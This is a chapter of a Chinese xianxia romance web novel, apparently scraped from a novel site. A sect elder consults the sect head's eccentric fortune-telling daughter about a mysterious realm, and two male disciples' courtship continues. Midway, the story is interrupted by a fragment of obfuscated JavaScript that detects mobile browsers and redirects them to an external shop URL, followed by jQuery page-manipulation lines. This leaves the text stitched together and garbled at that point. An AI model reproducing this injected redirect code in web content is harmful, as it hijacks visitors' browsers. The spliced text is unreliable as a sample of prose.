默认冷灰
24号文字
方正启体

20. 你夫君去戏楼了

作者:竹取白本书字数:K更新时间:
    江欲雪跨坐在悬崖边缘,整个人的重量交付给了何断秋,后背无所凭依。


    何断秋的肌肉紧绷,心脏漏跳了一拍,本能地伸出手紧紧箍住江欲雪的腰身。


    “你是不是想再摔一次脑子了?”他的手臂收得很紧,勒得江欲雪喘不上气。


    江欲雪顺势搂住他的脖颈,睫毛沾染着山间湿润的雾气。


    “你不会让我掉下去。”


    他不甚在意地调整了一下姿势,让自己坐得更舒服些,将头埋进何断秋的颈窝里。何断秋的身上有花香,不似园圃的繁杂,更像是日光与桃花交织的香气,蓬勃、秾丽、烂漫。


    何断秋贵为皇子,吃穿用度皆是讲究,如今日子过得随性了些,可有些习惯还是保留着的。他那袖中常挂香囊,夏日用香炉熏蒸衣物,冬日里用的手膏也添花香。


    江欲雪微微侧头,将他的唇瓣轻轻地印在了何断秋的侧脸上。


    何断秋愣住了,回味了一下温软的触感,大脑一片空白,那被触碰的一小块皮肤,像是被烫着了,沿着神经一路烧进心里,绽出枝头满簇花。


    他抬手,摸了摸自己的脸颊,确认刚才那不是幻觉。


    江欲雪向后仰了些,煞有其事地说道:“师兄,我会让你重新喜欢上我的。”


    话音落下,崖风骤起,吹动两人的衣袂猎猎作响。


    何断秋的心脏疯狂擂动,快要冲破喉咙不知所踪,耳根滴血似的红。


    放过他吧。


    …………


    静虚子在洞府内枯坐了三日,周围是浩如烟海的典籍。


    关于江欲雪去往的那处时序错乱的秘境,记载实在寥寥,且大多语焉不详,夹杂着些神话故事和后人臆测。


    这几日来,江欲雪的症状毫无痊愈之兆,他这做师父的心焦如焚,却始终理不出头绪。


    若是能理出头绪,江欲雪也不至于失踪一年。


    这日,掌门师弟的传音悄然而至,约他在主峰云雾亭一见。


    云雾亭中,掌门正悠然煮茶,见静虚子眉间郁色,便知他进展不顺。


    “静虚师兄,还在为欲雪那孩子的事烦心?”掌门斟了杯茶推过去。


    静虚子叹了口气,将这几日所查和心中忧虑简要说了,末了苦笑:“那秘境太过诡异,宗门记载几乎空白。再查不出端倪,我怕欲雪他……”


    掌门抚须沉吟。江欲雪这病,他同样系在心上。那少年是百年难遇的奇才,行事沉稳持重,进退有度,偏又无父无母,孑然一身,正是做赘婿的绝佳人选。


    他早已暗中存了心思,盼着能将这少年郎与自家好女牵作一对璧人。


    但若是在这么病下去,别说牵线搭桥了,江欲雪都快要把自己送到大师兄榻上了,届时,他那女儿到底是该在床底还是屋外?


    片刻后,他道:“宗门记载没有,不代表别处没有线索。”


    “掌门是指?”


    掌门微妙道:“你知道的,咱们万剑宗,名义上有七峰。”


    静虚子点头,这是常识。


    掌门指了指主峰后山某个黑雾缭绕的方向:“但实际上,还有一处……不算峰的峰。我那女儿,十四岁上非说那地方与她有缘,利于占卜问卦,硬是搬了过去,自立为第八峰峰主。”


    静虚子愕然。掌门那位令他倍感头疼的女儿陈超逸,他是知道的,天资聪颖却古灵精怪,自幼不爱剑术,专好占星卜筮、奇门遁甲之类旁门左道,没少让掌门头疼。


    “超逸她虽性子跳脱,但在卜算一道上,确有些异于常人的天赋。”


    掌门说得有些艰难:“她鼓捣的那些东西,有时歪打正着,倒也灵验。你既无头绪,不妨……去问问她?死马当活马医吧。”


    他顿了顿,图穷匕见道:“顺便喊她回家吃饭。这丫头,又半个月没露面了,她娘念叨得紧。”


    静虚子心说恐怕这一通话里只有最后一句话是真心的。


    他默默咽下了到嘴边的质疑,起身拱手:“多谢掌门指点,我这就去请陈师侄。”


    静虚子御剑绕到主峰后山,穿过一层黑气,眼前豁然开朗。


    掌门女儿是个苦行僧,峰上只有几间草率的自建竹屋,屋前空地上乱七八糟地插着些画满奇怪符号的小旗子,地上用白色石子摆出巨大的图案。


    一只羽毛油光水滑的五彩锦鸡正趾高气扬地踩在一个八卦盘上,睥睨着来人。


    竹屋门口,一个穿着宽大道袍的少女,正背对着他,对着一盆清水嘀嘀咕咕。


    她头发不多,只用一根木簪松松挽着,些许碎发飘在颊边。


    “陈师侄。”静虚子清了清嗓子。


    陈超逸头也不回:“等会儿,我正看到关键处,水里这朵云飘的方向不太对劲……”


    静虚子:“……掌门说,你可擅卜算推演,师伯有一疑难,想请你参详。”


    “什么疑难?师伯说说看,是不是灵真峰江师弟和何师兄那档子事?我早就想算算了,可惜爹不让,说我不务正业。”


    静虚子眼皮一跳,这丫头消息倒灵通。


    他略去江欲雪具体的症状,只简略描述:“你江师弟前番误入一处秘境,那秘境时序紊乱,四季同在。师伯想寻那秘境根源,却苦无线索。”


    “时序紊乱?四季同在?”陈超逸眼睛一亮,来了精神,“听着就很有趣!等等,这是不是导致了江师弟记忆的错乱?他的记忆怎么个异法?是不是跟何师兄有关?我听说他……”


    静虚子不得不打断她越发跑偏的联想,语气加重:“师侄,先说秘境。”


    “哦哦,对,秘境。”


    陈超逸挠挠头,在满地乱糟糟的东西里翻找起来,嘴里念念有词:“时空异常……这得用万象星轨来推……不对,还得考虑灵气干扰,今天好像是甲子日,潮汐在东……”


    她一边嘟囔,一边手脚麻利地抓起几枚铜钱,随手一抛,铜钱落地,她扫了一眼,脚下一踢,几块白色石子挪了位置。


    接着,她端起一盆清水,口中念念有词,乍然朝着东方太阳的方向泼去!


    水珠在阳光下折射出虹光。


    “有了!”陈超逸欣喜,蹦跶着抬手指道,“师叔!卦象显示,那秘境的入口就在那个方位!云深不知处,虹光现真途!下次雨后初晴、彩虹恰好出现之时!就是显现之机!”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154917|196539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她说完,颇为得意地拍了拍胸脯:“怎么样,师伯?我是不是有两把刷子?”


    “……”静虚子终于明白她为什么要搬出来住了。


    这也能算出来?看着跟小孩过家家信口胡诌没什么两样。


    但……掌门师弟说,她有时能歪打正着。


    死马当活马医。静虚子决定信这一次荒诞,拱手,语气复杂:“多谢师侄指点。师伯记下了。”


    “不客气不客气!好歹我也是个峰主!”第八峰峰主摆摆手,忽然想起什么,“对了师叔,江师弟和何师兄那边,真的不用我算算吗?我觉得他们之间红线特别亮,就是有点打结。”


    “不用了!”


    静虚子立刻斩钉截铁地拒绝,生怕这丫头做出什么惊世骇俗的事。


    “掌门让你回家吃饭,快些去吧。”


    “知道了知道了!”陈超逸打了个呼哨,那只五彩锦鸡扑棱着翅膀飞到她肩头。


    她蹦蹦跳跳地就往外走,走了几步又回头,冲静虚子眨眨眼:“师伯,记得雨后看彩虹哦!很准的!”


    说完,带着她加餐的灵鸡,身影很快消失在黑雾中。


    静虚子独自站在乱七八糟的第八峰上,黑风吹过,树上的铜钱叮咚作响。


    等等,刚刚那只鸡……是不是有四条腿?


    江欲雪正在房中更衣。


    时方入秋,天气初透微寒。他向来喜凉畏热,这般时节于他倒是恰好。


    只是何断秋昨日已换上了秋裳,既是夫妻,衣着总须成对。他便也取了那件与他相配的秋装,披在身上。


    站在镜前,少年人的身躯略有几分清瘦,肩线流畅,腰肢柔韧,他穿衣系带,垂眸,对着镜子仔细地将玉佩丝绦穿过腰封上的环扣,端正地挂在腰间。


    挂好玉佩,他拢了拢衣襟,推门而出。


    天光晦暗,铅灰色的云层低低压着屋檐,空气中弥漫着潮湿的土腥气,山风沉滞。


    快要下雨了。


    江欲雪御剑朝何断秋的院子飞去,这几日他总是雷打不动地去报到,跟着他练练剑,聊聊天,或是安静地坐在一旁看他罚抄。


    他们以前都是一起睡的,现在分了房,他也不希望影响夫妻感情。


    好在他的努力是有回报的,何断秋起初还有些别扭,如今也快习惯了,由着他跟,偶尔欲言又止。


    可今日,何断秋的院子里空无一人。屋内也寻不见踪影。


    江欲雪站在空荡荡的院中,拎着剑四处找人。


    一个相熟的洒扫弟子见他左右张望,便好心道:“江师兄是寻何师兄吗?何师兄方才下山去了,说是去雪澜轩听戏。”


    听戏?


    “多谢。”江欲雪转身便往山下去。


    他的御剑速度极快,冷风灌满衣袖,腰间玉佩的丝绦在风中飞扬。


    雪澜轩坐落在城中最繁华的东街,三层飞檐楼阁,朱漆门面,门口悬着鎏金牌匾。


    今日似是排了新戏,门前人头攒动,车马喧嚣。


    江欲雪收了剑,径直走进去。


    跑堂的伙计迎上来,还未开口,江欲雪已冷声道:“万剑宗何断秋在哪?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)